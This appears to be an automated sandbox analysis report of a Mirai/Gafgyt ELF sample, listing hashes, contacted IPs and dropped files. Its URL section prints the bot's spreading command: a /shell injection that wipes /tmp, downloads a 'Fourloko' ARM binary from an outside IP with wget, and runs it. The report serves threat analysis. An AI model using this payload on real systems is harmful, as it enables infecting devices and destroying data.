=
flash

nSg5RM0w0d

Status: finished
Submission Time: 14.01.2022 23:48:18
Malicious
Spreader
Trojan
Gafgyt Mirai

Comments

Tags

  • 32
  • elf
  • mirai
  • motorola

Details

  • Analysis ID:
    553468
  • API (Web) ID:
    920988
  • Analysis Started:
    15.01.2022 00:09:55
  • Analysis Finished:
    15.01.2022 00:16:33
  • MD5:
    5ba84075b6789440e97cb6095ad55c32
  • SHA1:
    19c16b64b5482561db39de26034459274b9dfb91
  • SHA256:
    65222b0aa3c9aa64a92d8c4aa20e664ff6a7049c8b70dac73d85794407a32ded
  • Technologies:
Full Report Management Report IOC Report Engine Info Verdict Score Reports

System: Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)

malicious
100/100

malicious
24/43

IPs

IP Country Detection
82.125.79.157
France
82.237.229.86
France
76.72.131.87
United States
Click to see the 97 hidden entries
155.95.85.169
United States
106.216.185.226
India
73.105.34.11
United States
168.225.157.89
United States
50.114.10.124
United States
52.49.15.231
United States
104.214.224.221
United States
88.245.81.179
Turkey
131.251.226.21
United Kingdom
169.37.91.35
Switzerland
125.53.105.82
Japan
88.16.182.166
Spain
190.10.105.51
Costa Rica
167.179.151.167
Australia
5.166.10.58
Russian Federation
43.205.251.248
Japan
70.230.219.247
United States
98.228.221.112
United States
63.58.17.229
United States
40.15.158.90
United States
38.21.173.197
United States
87.236.77.16
France
146.122.54.110
United States
189.39.227.49
Brazil
85.122.137.62
Romania
95.36.119.231
Netherlands
143.142.32.104
United States
113.112.4.109
China
69.212.49.41
United States
17.157.3.229
United States
139.193.211.227
Indonesia
110.244.101.120
China
120.80.62.97
China
163.8.122.9
Australia
99.136.89.88
United States
206.63.232.245
United States
142.224.201.64
Canada
114.118.210.232
China
134.209.44.112
United States
182.189.25.137
Pakistan
52.84.92.177
United States
156.215.141.86
Egypt
186.195.5.248
Brazil
213.110.25.60
Russian Federation
139.113.193.20
Norway
94.54.78.131
Turkey
86.75.124.223
France
192.141.163.66
Brazil
54.233.11.252
United States
68.58.216.220
United States
121.227.88.55
China
80.60.82.221
Netherlands
133.232.125.48
Japan
52.94.98.4
United States
147.110.180.178
South Africa
169.199.161.126
United States
200.95.19.78
Mexico
34.61.9.98
United States
46.190.17.103
Greece
67.254.189.11
United States
190.76.228.209
Venezuela
67.220.186.99
United States
103.123.2.193
Taiwan; Republic of China (ROC)
192.243.129.200
United States
101.32.48.92
China
194.28.179.220
Ukraine
216.54.175.15
United States
118.212.117.45
China
47.171.224.192
United States
223.124.158.166
China
148.221.102.35
Mexico
83.20.191.39
Poland
199.107.217.174
United States
1.128.184.34
Australia
146.104.244.64
Netherlands
86.182.64.238
United Kingdom
112.94.220.109
China
138.241.60.27
United States
9.196.70.214
United States
90.119.126.11
France
185.118.141.131
Turkey
41.110.164.253
Algeria
95.221.124.215
Russian Federation
71.104.168.123
United States
130.51.4.50
Reserved
62.20.16.13
Sweden
139.140.222.34
United States
166.76.52.137
United States
163.5.177.186
France
63.240.110.192
United States
185.240.220.152
Czech Republic
182.184.108.188
Pakistan
67.46.64.246
United States
69.65.111.10
United States
123.79.119.67
China
47.87.41.215
United States
132.39.33.228
United States

Domains

Name IP Detection
daisy.ubuntu.com
162.213.33.132

URLs

Name Detection
https://www.rsyslog.com
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws

Dropped files

Name File Type Hashes Detection
/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-sink
ASCII text
#
/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-source
ASCII text
#
/proc/5530/oom_score_adj
very short file (no magic)
#
Click to see the 97 hidden entries
/run/gdm3.pid
ASCII text
#
/run/systemd/journal/streams/.#9:75513yTxkyw
ASCII text
#
/run/systemd/journal/streams/.#9:75514O1H8Qy
ASCII text
#
/run/systemd/journal/streams/.#9:75719FgcSNy
ASCII text
#
/run/systemd/journal/streams/.#9:75722SiuR1v
ASCII text
#
/run/systemd/journal/streams/.#9:75969qyDlHy
ASCII text
#
/run/systemd/journal/streams/.#9:76694UkHCiz
ASCII text
#
/run/systemd/journal/streams/.#9:76798vzf3xx
ASCII text
#
/run/systemd/journal/streams/.#9:76810F4S0kw
ASCII text
#
/run/systemd/journal/streams/.#9:76811qH7pMy
ASCII text
#
/run/systemd/journal/streams/.#9:76939jGjApA
ASCII text
#
/run/systemd/journal/streams/.#9:76990m2l7zx
ASCII text
#
/run/systemd/journal/streams/.#9:77322OsWbkA
ASCII text
#
/run/systemd/journal/streams/.#9:77349IVOduw
ASCII text
#
/run/systemd/journal/streams/.#9:77350SauDfx
ASCII text
#
/run/systemd/journal/streams/.#9:773819KFhnz
ASCII text
#
/run/systemd/journal/streams/.#9:77386zbV07x
ASCII text
#
/run/systemd/journal/streams/.#9:77734UpxPL4
ASCII text
#
/run/systemd/journal/streams/.#9:77735JHXZJ4
ASCII text
#
/run/systemd/journal/streams/.#9:77736zKgEu3
ASCII text
#
/run/systemd/journal/streams/.#9:77751uetbi3
ASCII text
#
/run/systemd/journal/streams/.#9:77767hdajY5
ASCII text
#
/run/systemd/journal/streams/.#9:77786au6FZ5
ASCII text
#
/run/systemd/journal/streams/.#9:77789HrwWM2
ASCII text
#
/run/systemd/journal/streams/.#9:77790f7UV12
ASCII text
#
/run/systemd/journal/streams/.#9:77841sR2tbA
ASCII text
#
/run/systemd/journal/streams/.#9:80198tlEzBH
ASCII text
#
/run/systemd/journal/streams/.#9:80201A3MprE
ASCII text
#
/run/systemd/journal/streams/.#9:80202TiclRI
ASCII text
#
/run/systemd/journal/streams/.#9:80203qa2yGF
ASCII text
#
/run/systemd/journal/streams/.#9:80204BgANnG
ASCII text
#
/run/systemd/journal/streams/.#9:80205eJNuYE
ASCII text
#
/run/systemd/journal/streams/.#9:802066GpLmH
ASCII text
#
/run/systemd/journal/streams/.#9:80210crg9BE
ASCII text
#
/run/systemd/journal/streams/.#9:80225Kko1GH
ASCII text
#
/run/systemd/journal/streams/.#9:80226gFRKaF
ASCII text
#
/run/systemd/journal/streams/.#9:80227tRyzgH
ASCII text
#
/run/systemd/journal/streams/.#9:80766R2Khpf
ASCII text
#
/run/systemd/journal/streams/.#9:80768PNEHie
ASCII text
#
/run/systemd/journal/streams/.#9:80872ZsDYad
ASCII text
#
/run/systemd/journal/streams/.#9:8087408eiNb
ASCII text
#
/run/systemd/journal/streams/.#9:80889vcC1wb
ASCII text
#
/run/systemd/journal/streams/.#9:80890kXpEjc
ASCII text
#
/run/systemd/journal/streams/.#9:80895csWzRe
ASCII text
#
/run/systemd/journal/streams/.#9:81410JMEOZv
ASCII text
#
/run/systemd/journal/streams/.#9:81419DgoJHw
ASCII text
#
/run/systemd/journal/streams/.#9:82200Mmg8de
ASCII text
#
/run/systemd/journal/streams/.#9:82280Xpi0tf
ASCII text
#
/run/systemd/journal/streams/.#9:82281sw8yuf
ASCII text
#
/run/systemd/journal/streams/.#9:82282x4gkdd
ASCII text
#
/run/systemd/journal/streams/.#9:82651Incshm
ASCII text
#
/run/systemd/journal/streams/.#9:82652M5jDnn
ASCII text
#
/run/systemd/journal/streams/.#9:83021OcrCqd
ASCII text
#
/run/systemd/journal/streams/.#9:83106BcFoap
ASCII text
#
/run/systemd/journal/streams/.#9:83119epQaxo
ASCII text
#
/run/systemd/journal/streams/.#9:831209JNtqn
ASCII text
#
/run/systemd/journal/streams/.#9:83132oMUTyp
ASCII text
#
/run/systemd/journal/streams/.#9:83229oJt8zp
ASCII text
#
/run/systemd/seats/.#seat00fP9dO
ASCII text
#
/run/systemd/seats/.#seat0Cld9nQ
ASCII text
#
/run/systemd/seats/.#seat0PGcmbf
ASCII text
#
/run/systemd/seats/.#seat0UP3koV
ASCII text
#
/run/systemd/seats/.#seat0fPuBS5
ASCII text
#
/run/systemd/seats/.#seat0gW22XI
ASCII text
#
/run/systemd/seats/.#seat0vOH8GW
ASCII text
#
/run/systemd/users/.#1279T6QuP
ASCII text
#
/run/systemd/users/.#127JxP4nS
ASCII text
#
/run/systemd/users/.#127osndWP
ASCII text
#
/run/systemd/users/.#127yCudpO
ASCII text
#
/run/systemd/users/.#127yZpFSO
ASCII text
#
/run/user/1000/pulse/pid
ASCII text
#
/run/utmp
data
#
/var/cache/man/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/cs/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/cs/index.db.bmsf99
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/da/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/da/index.db.77D2Mb
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/de/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/de/index.db.S3TEtc
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/es/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/es/index.db.cn8Gbb
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/fi/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/fi/index.db.WVQHwc
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/fr.ISO8859-1/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/fr.ISO8859-1/index.db.oO9WYa
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/fr.UTF-8/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/fr.UTF-8/index.db.Y4hA8c
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/fr/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/fr/index.db.sUR25d
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/hu/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/hu/index.db.yksjkd
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/id/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/id/index.db.Zd40Sd
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/index.db.EUDhwa
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/it/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/it/index.db.OyRu9a
GNU dbm 1.x or ndbm database, little endian, 64-bit
#
/var/cache/man/ja/5237
GNU dbm 1.x or ndbm database, little endian, 64-bit
#